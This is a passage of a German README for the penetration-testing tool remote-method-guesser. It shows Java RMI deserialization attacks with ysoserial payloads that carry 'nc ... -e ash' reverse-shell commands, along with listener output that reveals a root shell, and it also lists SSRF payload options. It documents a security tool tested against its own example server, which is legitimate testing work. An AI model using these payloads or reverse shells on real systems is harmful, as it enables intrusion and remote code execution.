[qtc@devbox ~]$ nc -vlp 4445 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4445 Ncat: Listening on 0.0.0.0:4445 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:45429. id uid=0(root) gid=0(root) groups=0(root)
Während seiner ``enum``-Aktion informiert Sie *remote-method-guesser*, ob ein *Activator* auf einem *RMI-Endpunkt* (legacy *RMI-Komponente*) vorhanden ist.
Die Standardimplementierung des *Activation system* implementiert keine Deserialisierungsfilter für den *Activator RemoteObject*. Daher sollten Deserialisierungsangriffe auf einen *Activator*-Endpunkt immer funktionieren, selbst auf den neuesten *Java-Versionen*.```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component act
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on Activation endpoint...
[+]
[+] Caught IllegalArgumentException during deserialization attack.
[+] Deserialization attack was probably successful :)
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:44673.
id
uid=0(root) gid=0(root) groups=0(root)
Während moderne Java RMI-Implementierungen bekannte RMI-Komponenten standardmäßig mit Deserialisierungsfiltern schützen, sind benutzerdefinierte RemoteObjects (eigentliche RMI-Anwendungen) in der Regel nicht geschützt. Remote-Methoden, die nicht nur primitive Typen in ihren Argumenten verwenden, können daher für Deserialisierungsangriffe genutzt werden.
Dieser Blogbeitrag von Hans-Martin Münch erklärt dieses Problem genauer. remote-method-guesser kann verwendet werden, um solche Schwachstellen leicht zu überprüfen. Als Beispiel können wir die Methode String login(java.util.HashMap dummy1) des Beispielservers von remote-method-guesser verwenden, um einen Deserialisierungsangriff durchzuführen:```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --signature 'String login(java.util.HashMap dummy1)' --bound-name legacy-service
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.util.HashMap on position 0
[+] Specified method signature is String login(java.util.HashMap dummy1)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize dummy class c0ba245a659945bb93a49a3ab4b1e430.
[+] Deserialization attack probably worked :)
[qtc@devbox ~]$ nc -vlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:35377. id uid=0(root) gid=0(root) groups=0(root)
### Weitere Funktionen
*remote-method-guesser* enthält viele Funktionen, die in dieser *README.md*-Datei nicht erklärt werden. Einige davon sind unten aufgeführt:
* Fast alle Operationen können mit der ``--ssrf``-Option verwendet werden, um einen *SSRF*-Payload für die entsprechende Operation zu erstellen.
* Wenn Sie eine binäre *RMI-Server*-Ausgabe erhalten (z. B. nach einem *SSRF*-Angriff), können Sie diese mit der ``--ssrf-response``-Option in *remote-method-guesser* einspeisen. Dies parst die Serverausgabe so, wie sie von der angegebenen Operation erhalten wurde.
* *remote-method-guesser* kann durch die Verwendung seines *Plugin-Systems* erweitert werden. Vier Schnittstellen (``IPayloadProvider``, ``IResponseHandler``, ``IArgumentProvider`` und ``ISocketFactoryProvider``) können verwendet werden, um *remote-method-guesser* an komplexere Nutzungsszenarien anzupassen.
* Während der ``guess``-Aktion können Sie die ``--create-samples``-Option verwenden, um *Java*-Code zu generieren, mit dem erfolgreich erratene Methoden aufgerufen werden können.
Weitere Informationen zu diesen Funktionen finden Sie im [Dokumentationsordner](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/docs).
### Docker-Image
----
Seit Version `v4.4.0` ist *remote-method-guesser* auch als Docker-Image verfügbar und kann aus der [GitHub Container Registry](https://github.com/qtc-de/remote-method-guesser/pkgs/container/remote-method-guesser%2Frmg) bezogen werden. Für jede Version gibt es eine *normale* und eine *schlanke* Version. Beide bieten eine voll funktionsfähige Version von *remote-method-guesser*, aber nur die *normale* Version enthält [ysoserial](https://github.com/frohoff/ysoserial), was zu einer größeren Image-Größe führt:
* `docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0` - `121MB`
* `docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0-slim` - `61.9MB`
Sie können den Container auch selbst bauen, indem Sie die folgenden Befehle ausführen:```console
[user@host ~]$ git clone https://github.com/qtc-de/remote-method-guesser
[user@host ~]$ cd remote-method-guesser && docker build -t rmg .
remote-method-guesser wurde stark von den Blogbeiträgen von Hans-Martin Münch und Jake Miller beeinflusst. Darüber hinaus wurde die rmiscout-Wortliste offensichtlich aus dem rmiscout Projekt kopiert (wie Sie bereits an der abweichenden Lizenzvereinbarung erkennen können). Danke Jake, für diese großartige Wortliste von remote methods, die aus verschiedenen GitHub-Repositories zusammengetragen wurde.
Copyright 2023, Tobias Neitzel und die Mitwirkenden von remote-method-guesser.